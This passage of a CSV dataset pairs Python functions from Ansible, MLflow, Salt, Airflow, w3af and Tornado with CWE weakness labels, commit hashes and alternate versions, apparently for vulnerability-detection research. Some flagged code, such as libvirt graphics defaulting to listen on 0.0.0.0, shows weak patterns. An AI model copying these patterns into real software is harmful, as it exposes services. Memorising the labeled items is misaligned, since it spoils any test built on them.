        # we handle any 'vars' specified in the ds here, as we may
        # be adding things to them below (special handling for includes).
        # When that deprecated feature is removed, this can be too.
        if 'vars' in ds:
            # _load_vars is defined in Base, and is used to load a dictionary
            # or list of dictionaries in a standard way
            new_ds['vars'] = self._load_vars(None, ds.pop('vars'))
        else:
            new_ds['vars'] = dict()

        for (k,v) in iteritems(ds):
            if k in ('action', 'local_action', 'args', 'delegate_to') or k == action or k == 'shell':
                # we don't want to re-assign these values, which were
                # determined by the ModuleArgsParser() above
                continue
            elif k.replace(""with_"", """") in lookup_loader:
                self._preprocess_loop(ds, new_ds, k, v)
            else:
                # pre-2.0 syntax allowed variables for include statements at the
                # top level of the task, so we move those into the 'vars' dictionary
                # here, and show a deprecation message as we will remove this at
                # some point in the future.
                if action == 'include' and k not in self._get_base_attributes() and k not in self.DEPRECATED_ATTRIBUTES:
                    display.deprecated(""Specifying include variables at the top-level of the task is deprecated.""
                            "" Please see:\nhttp://docs.ansible.com/ansible/playbooks_roles.html#task-include-files-and-encouraging-reuse\n\n""
                            "" for currently supported syntax regarding included files and variables"")
                    new_ds['vars'][k] = v
                else:
                    new_ds[k] = v

        return super(Task, self).preprocess_data(new_ds)"
,UNKNOWN,UNKNOWN,tests/pipelines/test_register_step.py,1,"def test_register_with_no_validation_criteria(
    tmp_pipeline_root_path: Path, tmp_pipeline_exec_path: Path, register_flag: str
):
    evaluate_step_output_dir, register_step_output_dir = setup_model_and_evaluate(
        tmp_pipeline_exec_path
    )
    pipeline_yaml = tmp_pipeline_root_path.joinpath(_PIPELINE_CONFIG_FILE_NAME)
    pipeline_yaml.write_text(
        """"""
template: ""regression/v1""
target_col: ""y""
experiment:
  tracking_uri: {tracking_uri}
steps:
  evaluate:
  register:
    model_name: ""demo_model""
    {allow_non_validated_model}
"""""".format(
            tracking_uri=mlflow.get_tracking_uri(),
            allow_non_validated_model=register_flag,
        )
    )
    pipeline_steps_dir = tmp_pipeline_root_path.joinpath(""steps"")
    pipeline_steps_dir.mkdir(parents=True)
    pipeline_config = read_yaml(tmp_pipeline_root_path, _PIPELINE_CONFIG_FILE_NAME)
    evaluate_step = EvaluateStep.from_pipeline_config(pipeline_config, str(tmp_pipeline_root_path))
    evaluate_step._run(str(evaluate_step_output_dir))
    assert len(mlflow.tracking.MlflowClient().list_registered_models()) == 0
    register_step = RegisterStep.from_pipeline_config(pipeline_config, str(tmp_pipeline_root_path))
    register_step._run(str(register_step_output_dir))
    model_validation_status_path = evaluate_step_output_dir.joinpath(""model_validation_status"")
    assert model_validation_status_path.exists()
    assert model_validation_status_path.read_text() == ""UNKNOWN""
    assert len(mlflow.tracking.MlflowClient().list_registered_models()) == (
        0 if register_flag == """" else 1
    )",CWE-703,mlflow/mlflow,ee313aaf58eafc70ba6fb114212aef87da6fe2f4,"def test_register_with_no_validation_criteria(
    tmp_pipeline_root_path: Path, tmp_pipeline_exec_path: Path, register_flag: str
):
    evaluate_step_output_dir, register_step_output_dir = setup_model_and_evaluate(
        tmp_pipeline_exec_path
    )
    pipeline_yaml = tmp_pipeline_root_path.joinpath(_PIPELINE_CONFIG_FILE_NAME)
    pipeline_yaml.write_text(
        """"""
template: ""regression/v1""
target_col: ""y""
experiment:
  tracking_uri: {tracking_uri}
steps:
  evaluate:
  register:
    model_name: ""demo_model""
    {allow_non_validated_model}
"""""".format(
            tracking_uri=mlflow.get_tracking_uri(),
            allow_non_validated_model=register_flag,
        )
    )
    pipeline_steps_dir = tmp_pipeline_root_path.joinpath(""steps"")
    pipeline_steps_dir.mkdir(parents=True)
    pipeline_config = read_yaml(tmp_pipeline_root_path, _PIPELINE_CONFIG_FILE_NAME)
    evaluate_step = EvaluateStep.from_pipeline_config(pipeline_config, str(tmp_pipeline_root_path))
    evaluate_step._run(str(evaluate_step_output_dir))
    assert len(mlflow.tracking.MlflowClient().list_registered_models()) == 0
    register_step = RegisterStep.from_pipeline_config(pipeline_config, str(tmp_pipeline_root_path))
    register_step._run(str(register_step_output_dir))
    model_validation_status_path = evaluate_step_output_dir.joinpath(""model_validation_status"")
    assert model_validation_status_path.exists()
    assert model_validation_status_path.read_text() == ""UNKNOWN""
    assert len(mlflow.tracking.MlflowClient().list_registered_models()) == (
        0 if register_flag == """" else 1
    )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/oracle/fingerprint.py,0,"def getFingerprint(self):
        value  = """"
        wsOsFp = formatFingerprint(""web server"", kb.headersFp)

        if wsOsFp:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = formatFingerprint(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""

        if not conf.extensiveFp:
            value += DBMS.ORACLE
            return value

        actVer      = formatDBMSfp()
        blank       = "" "" * 15
        value      += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp[""dbmsVersion""] if 'dbmsVersion' in kb.bannerFp else None
            banVer = formatDBMSfp([banVer])
            value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = getHtmlErrorFp()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value",,andresriancho/w3af,c8f943f5e4c2f035753a415f703aad4518e17dc4,"def getFingerprint(self):
        value  = """"
        wsOsFp = formatFingerprint(""web server"", kb.headersFp)

        if wsOsFp:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = formatFingerprint(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""

        if not conf.extensiveFp:
            value += DBMS.ORACLE
            return value

        actVer      = formatDBMSfp()
        blank       = "" "" * 15
        value      += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp[""dbmsVersion""] if 'dbmsVersion' in kb.bannerFp else None
            banVer = formatDBMSfp([banVer])
            value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = getHtmlErrorFp()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value"
,UNKNOWN,UNKNOWN,tests/unit/utils/test_network.py,1,"def test_generate_minion_id_with_long_hostname(self):
        '''
        Validate the fix for:

        https://github.com/saltstack/salt/issues/51160
        '''
        long_name = 'localhost-abcdefghijklmnopqrstuvwxyz-abcdefghijklmnopqrstuvwxyz'
        with patch('socket.gethostname', MagicMock(return_value=long_name)):
            # An exception is raised if unicode is passed to socket.getfqdn
            minion_id = network.generate_minion_id()
        assert minion_id != '', minion_id",CWE-703,saltstack/salt,5b2977c02411c02d4bf9d24ae4651f9eff0a1df1,"def test_generate_minion_id_with_long_hostname(self):
        '''
        Validate the fix for:

        https://github.com/saltstack/salt/issues/51160
        '''
        long_name = 'localhost-abcdefghijklmnopqrstuvwxyz-abcdefghijklmnopqrstuvwxyz'
        with patch('socket.gethostname', MagicMock(return_value=long_name)):
            # An exception is raised if unicode is passed to socket.getfqdn
            minion_id = network.generate_minion_id()
        assert minion_id != '', minion_id"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/rabbitmq/test_policy.py,1,"def test_present_absent(rabbitmq_container):
    """"""
    Test rabbitmq_policy.present and rabbitmq_policy.absent
    """"""

    with patch.dict(rabbitmq.__salt__, {""pkg.version"": MagicMock(return_value=""3.8"")}):
        # Clear the policy
        ret = rabbitmq_policy.present(
            name=""HA"", pattern="".*"", definition={""ha-mode"": ""all""}
        )
        expected = {
            ""name"": ""HA"",
            ""result"": True,
            ""comment"": (
                'Setting policy ""HA"" for pattern "".*"" to ""{""ha-mode"": ""all""}"" with'
                ' priority ""0"" for vhost ""/"" ...\n'
            ),
            ""changes"": {""old"": {}, ""new"": ""HA""},
        }
        assert ret == expected

        # Delete the policy
        ret = rabbitmq_policy.absent(""HA"")
        expected = {
            ""name"": ""HA"",
            ""result"": True,
            ""comment"": ""Deleted"",
            ""changes"": {""new"": """", ""old"": ""HA""},
        }

        assert ret == expected",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_present_absent(rabbitmq_container):
    """"""
    Test rabbitmq_policy.present and rabbitmq_policy.absent
    """"""

    with patch.dict(rabbitmq.__salt__, {""pkg.version"": MagicMock(return_value=""3.8"")}):
        # Clear the policy
        ret = rabbitmq_policy.present(
            name=""HA"", pattern="".*"", definition={""ha-mode"": ""all""}
        )
        expected = {
            ""name"": ""HA"",
            ""result"": True,
            ""comment"": 'Setting policy ""HA"" for pattern "".*"" to ""{""ha-mode"": ""all""}"" with priority ""0"" for vhost ""/"" ...\n',
            ""changes"": {""old"": {}, ""new"": ""HA""},
        }
        assert ret == expected

        # Delete the policy
        ret = rabbitmq_policy.absent(""HA"")
        expected = {
            ""name"": ""HA"",
            ""result"": True,
            ""comment"": ""Deleted"",
            ""changes"": {""new"": """", ""old"": ""HA""},
        }

        assert ret == expected"
,UNKNOWN,UNKNOWN,salt/modules/virt.py,1,"def _gen_xml(name,
             cpu,
             mem,
             diskp,
             nicp,
             hypervisor,
             os_type,
             arch,
             graphics=None,
             **kwargs):
    '''
    Generate the XML string to define a libvirt VM
    '''
    mem = int(mem) * 1024  # MB
    context = {
        'hypervisor': hypervisor,
        'name': name,
        'cpu': six.text_type(cpu),
        'mem': six.text_type(mem),
    }
    if hypervisor in ['qemu', 'kvm']:
        context['controller_model'] = False
    elif hypervisor == 'vmware':
        # TODO: make bus and model parameterized, this works for 64-bit Linux
        context['controller_model'] = 'lsilogic'

    # By default, set the graphics to listen to all addresses
    if graphics:
        if 'listen' not in graphics:
            graphics['listen'] = {'type': 'address', 'address': '0.0.0.0'}
        elif 'address' not in graphics['listen'] and graphics['listen']['type'] == 'address':
            graphics['listen']['address'] = '0.0.0.0'

        # Graphics of type 'none' means no graphics device at all
        if graphics.get('type', 'none') == 'none':
            graphics = None
    context['graphics'] = graphics

    if 'boot_dev' in kwargs:
        context['boot_dev'] = []
        for dev in kwargs['boot_dev'].split():
            context['boot_dev'].append(dev)
    else:
        context['boot_dev'] = ['hd']

    if 'serial_type' in kwargs:
        context['serial_type'] = kwargs['serial_type']
    if 'serial_type' in context and context['serial_type'] == 'tcp':
        if 'telnet_port' in kwargs:
            context['telnet_port'] = kwargs['telnet_port']
        else:
            context['telnet_port'] = 23023  # FIXME: use random unused port
    if 'serial_type' in context:
        if 'console' in kwargs:
            context['console'] = kwargs['console']
        else:
            context['console'] = True

    context['disks'] = []
    disk_bus_map = {'virtio': 'vd', 'xen': 'xvd', 'fdc': 'fd', 'ide': 'hd'}
    for i, disk in enumerate(diskp):
        prefix = disk_bus_map.get(disk['model'], 'sd')
        disk_context = {
            'device': disk.get('device', 'disk'),
            'target_dev': '{0}{1}'.format(prefix, string.ascii_lowercase[i]),
            'disk_bus': disk['model'],
            'type': disk['format'],
            'index': six.text_type(i),
        }
        if 'source_file' and disk['source_file']:
            disk_context['source_file'] = disk['source_file']

        if hypervisor in ['qemu', 'kvm', 'bhyve', 'xen']:
            disk_context['address'] = False
            disk_context['driver'] = True
        elif hypervisor in ['esxi', 'vmware']:
            disk_context['address'] = True
            disk_context['driver'] = False
        context['disks'].append(disk_context)
    context['nics'] = nicp

    context['os_type'] = os_type
    context['arch'] = arch

    fn_ = 'libvirt_domain.jinja'
    try:
        template = JINJA.get_template(fn_)
    except jinja2.exceptions.TemplateNotFound:
        log.error('Could not load template %s', fn_)
        return ''

    return template.render(**context)",CWE-605,saltstack/salt,5bcfd728f8c5e572a62123aa034e9ebd1fe03369,"def _gen_xml(name,
             cpu,
             mem,
             diskp,
             nicp,
             hypervisor,
             os_type,
             arch,
             graphics=None,
             **kwargs):
    '''
    Generate the XML string to define a libvirt VM
    '''
    mem = int(mem) * 1024  # MB
    context = {
        'hypervisor': hypervisor,
        'name': name,
        'cpu': six.text_type(cpu),
        'mem': six.text_type(mem),
    }
    if hypervisor in ['qemu', 'kvm']:
        context['controller_model'] = False
    elif hypervisor == 'vmware':
        # TODO: make bus and model parameterized, this works for 64-bit Linux
        context['controller_model'] = 'lsilogic'

    # By default, set the graphics to listen to all addresses
    if graphics:
        if 'listen' not in graphics:
            graphics['listen'] = {'type': 'address', 'address': '0.0.0.0'}
        elif 'address' not in graphics['listen'] and graphics['listen']['type'] == 'address':
            graphics['listen']['address'] = '0.0.0.0'

        # Graphics of type 'none' means no graphics device at all
        if graphics.get('type', 'none') == 'none':
            graphics = None
    context['graphics'] = graphics

    if 'boot_dev' in kwargs:
        context['boot_dev'] = []
        for dev in kwargs['boot_dev'].split():
            context['boot_dev'].append(dev)
    else:
        context['boot_dev'] = ['hd']

    if 'serial_type' in kwargs:
        context['serial_type'] = kwargs['serial_type']
    if 'serial_type' in context and context['serial_type'] == 'tcp':
        if 'telnet_port' in kwargs:
            context['telnet_port'] = kwargs['telnet_port']
        else:
            context['telnet_port'] = 23023  # FIXME: use random unused port
    if 'serial_type' in context:
        if 'console' in kwargs:
            context['console'] = kwargs['console']
        else:
            context['console'] = True

    context['disks'] = {}
    disk_bus_map = {'virtio': 'vd', 'xen': 'xvd', 'fdc': 'fd', 'ide': 'hd'}
    for i, disk in enumerate(diskp):
        context['disks'][disk['name']] = {}
        context['disks'][disk['name']]['file_name'] = disk['filename']
        context['disks'][disk['name']]['source_file'] = disk['source_file']
        prefix = disk_bus_map.get(disk['model'], 'sd')
        context['disks'][disk['name']]['target_dev'] = '{0}{1}'.format(prefix, string.ascii_lowercase[i])
        if hypervisor in ['qemu', 'kvm', 'xen']:
            context['disks'][disk['name']]['address'] = False
            context['disks'][disk['name']]['driver'] = True
        elif hypervisor in ['esxi', 'vmware']:
            context['disks'][disk['name']]['address'] = True
            context['disks'][disk['name']]['driver'] = False
        context['disks'][disk['name']]['disk_bus'] = disk['model']
        context['disks'][disk['name']]['type'] = disk['format']
        context['disks'][disk['name']]['index'] = six.text_type(i)

    context['nics'] = nicp

    context['os_type'] = os_type
    context['arch'] = arch

    fn_ = 'libvirt_domain.jinja'
    try:
        template = JINJA.get_template(fn_)
    except jinja2.exceptions.TemplateNotFound:
        log.error('Could not load template %s', fn_)
        return ''

    return template.render(**context)"
,UNKNOWN,UNKNOWN,tests/tracing/test_assessment.py,1,"def test_log_feedback_with_error(store, tracking_uri, legacy_api):
    if legacy_api:
        mlflow.log_feedback(
            trace_id=""1234"",
            name=""faithfulness"",
            source=_LLM_ASSESSMENT_SOURCE,
            error=AssessmentError(
                error_code=""RATE_LIMIT_EXCEEDED"",
                error_message=""Rate limit for the judge exceeded."",
            ),
        )
    else:
        feedback = Feedback(
            name=""faithfulness"",
            value=None,
            source=_LLM_ASSESSMENT_SOURCE,
            error=AssessmentError(
                error_code=""RATE_LIMIT_EXCEEDED"",
                error_message=""Rate limit for the judge exceeded."",
            ),
        )
        mlflow.log_assessment(trace_id=""1234"", assessment=feedback)

    assert store.create_assessment.call_count == 1
    assessment = store.create_assessment.call_args[0][0]
    assert assessment.name == ""faithfulness""
    assert assessment.trace_id == ""1234""
    assert assessment.span_id is None
    assert assessment.source == _LLM_ASSESSMENT_SOURCE
    assert assessment.create_time_ms is not None
    assert assessment.last_update_time_ms is not None
    assert assessment.expectation is None
    assert assessment.feedback.value is None
    assert assessment.feedback.error.error_code == ""RATE_LIMIT_EXCEEDED""
    assert assessment.feedback.error.error_message == ""Rate limit for the judge exceeded.""
    assert assessment.rationale is None",CWE-703,mlflow/mlflow,9a658d9a499bca3de9b40fc0d22658ea90a8825a,"def test_log_feedback_with_error(store, tracking_uri, legacy_api):
    if legacy_api:
        mlflow.log_feedback(
            trace_id=""1234"",
            name=""faithfulness"",
            source=_LLM_ASSESSMENT_SOURCE,
            error=AssessmentError(
                error_code=""RATE_LIMIT_EXCEEDED"",
                error_message=""Rate limit for the judge exceeded."",
            ),
        )
    else:
        feedback = Feedback(
            name=""faithfulness"",
            value=None,
            source=_LLM_ASSESSMENT_SOURCE,
            error=AssessmentError(
                error_code=""RATE_LIMIT_EXCEEDED"",
                error_message=""Rate limit for the judge exceeded."",
            ),
        )
        mlflow.log_assessment(trace_id=""1234"", assessment=feedback)

    assert store.create_assessment.call_count == 1
    assessment = store.create_assessment.call_args[0][0]
    assert assessment.name == ""faithfulness""
    assert assessment.trace_id == ""1234""
    assert assessment.span_id is None
    assert assessment.source == _LLM_ASSESSMENT_SOURCE
    assert assessment.create_time_ms is not None
    assert assessment.last_update_time_ms is not None
    assert assessment.expectation is None
    assert assessment.feedback.value is None
    assert assessment.feedback.error.error_code == ""RATE_LIMIT_EXCEEDED""
    assert assessment.feedback.error.error_message == ""Rate limit for the judge exceeded.""
    assert assessment.rationale is None"
,UNKNOWN,UNKNOWN,tests/utils/test_sqlalchemy.py,1,"def test_bind_processor(self, input, expected):
        """"""
        The returned bind processor should pickle the object as is, unless it is a dictionary with
        a pod_override node, in which case it should run it through BaseSerialization.
        """"""
        config_type = ExecutorConfigType()
        mock_dialect = MagicMock()
        mock_dialect.dbapi = None
        process = config_type.bind_processor(mock_dialect)
        assert pickle.loads(process(input)) == expected
        assert pickle.loads(process(input)) == expected, ""should not mutate variable""","CWE-502, CWE-703",apache/airflow,590412ba589fec20edde698057190f725770a29f,"def test_bind_processor(self, input, expected):
        """"""
        The returned bind processor should pickle the object as is, unless it is a dictionary with
        a pod_override node, in which case it should run it through BaseSerialization.
        """"""
        config_type = ExecutorConfigType()
        mock_dialect = MagicMock()
        mock_dialect.dbapi = None
        process = config_type.bind_processor(mock_dialect)
        assert pickle.loads(process(input)) == expected
        assert pickle.loads(process(input)) == expected, ""should should not mutate variable"""
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/engines/slack.py,0,"def get_target(self, permitted_group, cmdline, alias_cmdline):
        '''
        When we are permitted to run a command on a target, look to see
        what the default targeting is for that group, and for that specific
        command (if provided).

        It's possible for None or False to be the result of either, which means
        that it's expected that the caller provide a specific target.

        If no configured target is provided, the command line will be parsed
        for target=foo and tgt_type=bar

        Test for this::

            h = {'aliases': {}, 'commands': {'cmd.run', 'pillar.get'},
                'default_target': {'target': '*', 'tgt_type': 'glob'},
                'targets': {'pillar.get': {'target': 'you_momma', 'tgt_type': 'list'}},
                'users': {'dmangot', 'jmickle', 'pcn'}}
            f = {'aliases': {}, 'commands': {'cmd.run', 'pillar.get'},
                 'default_target': {}, 'targets': {},'users': {'dmangot', 'jmickle', 'pcn'}}

            g = {'aliases': {}, 'commands': {'cmd.run', 'pillar.get'},
                 'default_target': {'target': '*', 'tgt_type': 'glob'},
                 'targets': {}, 'users': {'dmangot', 'jmickle', 'pcn'}}

        Run each of them through ``get_configured_target(('foo', f), 'pillar.get')`` and confirm a valid target

        '''
        # Default to targeting all minions with a type of glob
        null_target = {'target': '*', 'tgt_type': 'glob'}

        def check_cmd_against_group(cmd):
            '''
            Validate cmd against the group to return the target, or a null target
            '''
            name, group_config = permitted_group
            target = group_config.get('default_target')
            if not target:  # Empty, None, or False
                target = null_target
            if group_config.get('targets'):
                if group_config['targets'].get(cmd):
                    target = group_config['targets'][cmd]
            if not target.get('target'):
                log.debug('Group %s is not configured to have a target for cmd %s.', name, cmd)
            return target

        for this_cl in cmdline, alias_cmdline:
            _, kwargs = self.parse_args_and_kwargs(this_cl)
            if 'target' in kwargs:
                log.debug('target is in kwargs %s.', kwargs)
                if 'tgt_type' in kwargs:
                    log.debug('tgt_type is in kwargs %s.', kwargs)
                    return {'target': kwargs['target'], 'tgt_type': kwargs['tgt_type']}
                return {'target': kwargs['target'], 'tgt_type': 'glob'}

        for this_cl in cmdline, alias_cmdline:
            checked = check_cmd_against_group(this_cl[0])
            log.debug('this cmdline has target %s.', this_cl)
            if checked.get('target'):
                return checked
        return null_target",,saltstack/salt,615496e0195c4095941b9875f4a5a721c6e488be,"def get_target(self, permitted_group, cmdline, alias_cmdline):
        '''
        When we are permitted to run a command on a target, look to see
        what the default targeting is for that group, and for that specific
        command (if provided).

        It's possible for None or False to be the result of either, which means
        that it's expected that the caller provide a specific target.

        If no configured target is provided, the command line will be parsed
        for target=foo and tgt_type=bar

        Test for this::

            h = {'aliases': {}, 'commands': {'cmd.run', 'pillar.get'},
                'default_target': {'target': '*', 'tgt_type': 'glob'},
                'targets': {'pillar.get': {'target': 'you_momma', 'tgt_type': 'list'}},
                'users': {'dmangot', 'jmickle', 'pcn'}}
            f = {'aliases': {}, 'commands': {'cmd.run', 'pillar.get'},
                 'default_target': {}, 'targets': {},'users': {'dmangot', 'jmickle', 'pcn'}}

            g = {'aliases': {}, 'commands': {'cmd.run', 'pillar.get'},
                 'default_target': {'target': '*', 'tgt_type': 'glob'},
                 'targets': {}, 'users': {'dmangot', 'jmickle', 'pcn'}}

        Run each of them through ``get_configured_target(('foo', f), 'pillar.get')`` and confirm a valid target

        '''
        # Default to targetting all minions with a type of glob
        null_target = {'target': '*', 'tgt_type': 'glob'}

        def check_cmd_against_group(cmd):
            '''
            Validate cmd against the group to return the target, or a null target
            '''
            name, group_config = permitted_group
            target = group_config.get('default_target')
            if not target:  # Empty, None, or False
                target = null_target
            if group_config.get('targets'):
                if group_config['targets'].get(cmd):
                    target = group_config['targets'][cmd]
            if not target.get('target'):
                log.debug('Group %s is not configured to have a target for cmd %s.', name, cmd)
            return target

        for this_cl in cmdline, alias_cmdline:
            _, kwargs = self.parse_args_and_kwargs(this_cl)
            if 'target' in kwargs:
                log.debug('target is in kwargs %s.', kwargs)
                if 'tgt_type' in kwargs:
                    log.debug('tgt_type is in kwargs %s.', kwargs)
                    return {'target': kwargs['target'], 'tgt_type': kwargs['tgt_type']}
                return {'target': kwargs['target'], 'tgt_type': 'glob'}

        for this_cl in cmdline, alias_cmdline:
            checked = check_cmd_against_group(this_cl[0])
            log.debug('this cmdline has target %s.', this_cl)
            if checked.get('target'):
                return checked
        return null_target"
,UNKNOWN,UNKNOWN,tests/conftest.py,1,"def groups_collection_modifyitems(config, items):
    group_count = config.getoption(""test-group-count"")
    group_id = config.getoption(""test-group"")

    if not group_count or not group_id:
        # We're not selection tests using groups, don't do any filtering
        return

    if group_count == 1:
        # Just one group, don't do any filtering
        return

    terminal_reporter = config.pluginmanager.get_plugin(""terminalreporter"")

    if config.getoption(""--last-failed"") or config.getoption(""--failed-first""):
        # This is a test failure rerun, applying test groups would break this
        terminal_reporter.write(
            ""\nNot splitting collected tests into chunks since --lf/--last-failed or ""
            ""-ff/--failed-first was passed on the CLI.\n"",
            yellow=True,
        )
        return

    total_items = len(items)

    # Devide into test groups
    test_groups = more_itertools.divide(group_count, items)
    # Pick the right group
    tests_in_group = list(test_groups.pop(group_id - 1))
    # The rest are deselected tests
    deselected = list(more_itertools.collapse(test_groups))
    # Sanity check
    assert len(tests_in_group) + len(deselected) == total_items
    # Replace all items in the list
    items[:] = tests_in_group
    if deselected:
        config.hook.pytest_deselected(items=deselected)

    terminal_reporter.write(
        f""Running test group #{group_id}(out of #{group_count}) ({len(items)} out of {total_items} tests)\n"",
        yellow=True,
    )",CWE-703,saltstack/salt,6fc7332ca56daa8d7a624756d8f68690c18f7657,"def groups_collection_modifyitems(config, items):
    group_count = config.getoption(""test-group-count"")
    group_id = config.getoption(""test-group"")

    if not group_count or not group_id:
        # We're not selection tests using groups, don't do any filtering
        return

    if group_count == 1:
        # Just one group, don't do any filtering
        return

    total_items = len(items)

    # Devide into test groups
    test_groups = more_itertools.divide(group_count, items)
    # Pick the right group
    tests_in_group = list(test_groups.pop(group_id - 1))
    # The rest are deselected tests
    deselected = list(more_itertools.collapse(test_groups))
    # Sanity check
    assert len(tests_in_group) + len(deselected) == total_items
    # Replace all items in the list
    items[:] = tests_in_group
    if deselected:
        config.hook.pytest_deselected(items=deselected)

    terminal_reporter = config.pluginmanager.get_plugin(""terminalreporter"")
    terminal_reporter.write(
        f""Running test group #{group_id}(out of #{group_count}) ({len(items)} out of {total_items} tests)\n"",
        yellow=True,
    )"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/helpers.py,1,"def load_list_of_blocks(ds, play, parent_block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of mixed task/block data (parsed from YAML),
    return a list of Block() objects, where implicit blocks
    are created for each bare Task.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole

    assert isinstance(ds, (list, type(None))), '%s should be a list or None but is %s' % (ds, type(ds))

    block_list = []
    if ds:
        count = iter(range(len(ds)))
        for i in count:
            block_ds = ds[i]
            # Implicit blocks are created by bare tasks listed in a play without
            # an explicit block statement. If we have two implicit blocks in a row,
            # squash them down to a single block to save processing time later.
            implicit_blocks = []
            while block_ds is not None and not Block.is_block(block_ds):
                implicit_blocks.append(block_ds)
                i += 1
                # Advance the iterator, so we don't repeat
                next(count, None)
                try:
                    block_ds = ds[i]
                except IndexError:
                    block_ds = None

            # Loop both implicit blocks and block_ds as block_ds is the next in the list
            for b in (implicit_blocks, block_ds):
                if b:
                    block_list.append(
                        Block.load(
                            b,
                            play=play,
                            parent_block=parent_block,
                            role=role,
                            task_include=task_include,
                            use_handlers=use_handlers,
                            variable_manager=variable_manager,
                            loader=loader,
                        )
                    )

    return block_list",CWE-703,ansible/ansible,a889576d390eeab5137d31bd30821b3310c8d59e,"def load_list_of_blocks(ds, play, parent_block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of mixed task/block data (parsed from YAML),
    return a list of Block() objects, where implicit blocks
    are created for each bare Task.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole

    assert isinstance(ds, (list, type(None))), '%s should be a list or None but is %s' % (ds, type(ds))

    block_list = []
    if ds:
        for block_ds in ds:
            b = Block.load(
                block_ds,
                play=play,
                parent_block=parent_block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            # Implicit blocks are created by bare tasks listed in a play without
            # an explicit block statement. If we have two implicit blocks in a row,
            # squash them down to a single block to save processing time later.
            if b._implicit and len(block_list) > 0 and block_list[-1]._implicit:
                for t in b.block:
                    if isinstance(t._parent, (TaskInclude, IncludeRole)):
                        t._parent._parent = block_list[-1]
                    else:
                        t._parent = block_list[-1]
                block_list[-1].block.extend(b.block)
            else:
                block_list.append(b)

    return block_list"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_file_store.py,1,"def test_search_experiments_filter_by_tag(self):
        self.initialize()
        experiments = [
            (""exp1"", [ExperimentTag(""key"", ""value"")]),
            (""exp2"", [ExperimentTag(""key"", ""vaLue"")]),
            (""exp3"", [ExperimentTag(""k e y"", ""value"")]),
        ]
        for name, tags in experiments:
            self.store.create_experiment(name, tags=tags)

        experiments = self.store.search_experiments(filter_string=""tag.key = 'value'"")
        assert [e.name for e in experiments] == [""exp1""]
        experiments = self.store.search_experiments(filter_string=""tag.`k e y` = 'value'"")
        assert [e.name for e in experiments] == [""exp3""]
        experiments = self.store.search_experiments(filter_string=""tag.\""k e y\"" = 'value'"")
        assert [e.name for e in experiments] == [""exp3""]
        experiments = self.store.search_experiments(filter_string=""tag.key != 'value'"")
        assert [e.name for e in experiments] == [""exp2""]
        experiments = self.store.search_experiments(filter_string=""tag.key LIKE 'val%'"")
        assert [e.name for e in experiments] == [""exp1""]
        experiments = self.store.search_experiments(filter_string=""tag.key LIKE '%Lue'"")
        assert [e.name for e in experiments] == [""exp2""]
        experiments = self.store.search_experiments(filter_string=""tag.key ILIKE '%alu%'"")
        assert {e.name for e in experiments}.issubset({""exp2"", ""exp1""})
        experiments = self.store.search_experiments(
            filter_string=""tag.key LIKE 'va%' AND tags.key LIKE '%Lue'""
        )
        assert [e.name for e in experiments] == [""exp2""]",CWE-703,mlflow/mlflow,70b9efc44b1465d64c7de9354101205b062af521,"def test_search_experiments_filter_by_tag(self):
        self.initialize()
        experiments = [
            (""exp1"", [ExperimentTag(""key"", ""value"")]),
            (""exp2"", [ExperimentTag(""key"", ""vaLue"")]),
            (""exp3"", [ExperimentTag(""k e y"", ""value"")]),
        ]
        for name, tags in experiments:
            self.store.create_experiment(name, tags=tags)

        experiments = self.store.search_experiments(filter_string=""tag.key = 'value'"")
        assert [e.name for e in experiments] == [""exp1""]
        experiments = self.store.search_experiments(filter_string=""tag.`k e y` = 'value'"")
        assert [e.name for e in experiments] == [""exp3""]
        experiments = self.store.search_experiments(filter_string=""tag.\""k e y\"" = 'value'"")
        assert [e.name for e in experiments] == [""exp3""]
        experiments = self.store.search_experiments(filter_string=""tag.key != 'value'"")
        assert [e.name for e in experiments] == [""exp2""]
        experiments = self.store.search_experiments(filter_string=""tag.key LIKE 'val%'"")
        assert [e.name for e in experiments] == [""exp1""]
        experiments = self.store.search_experiments(filter_string=""tag.key LIKE '%Lue'"")
        assert [e.name for e in experiments] == [""exp2""]
        experiments = self.store.search_experiments(filter_string=""tag.key ILIKE '%alu%'"")
        assert [e.name for e in experiments] == [""exp2"", ""exp1""]
        experiments = self.store.search_experiments(
            filter_string=""tag.key LIKE 'va%' AND tags.key LIKE '%Lue'""
        )
        assert [e.name for e in experiments] == [""exp2""]"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/platform/twisted.py,0,"def add_timeout(self, deadline, callback):
        if isinstance(deadline, (int, long, float)):
            delay = max(deadline - self.time(), 0)
        elif isinstance(deadline, datetime.timedelta):
            delay = tornado.ioloop._Timeout.timedelta_to_seconds(deadline)
        else:
            raise TypeError(""Unsupported deadline %r"")
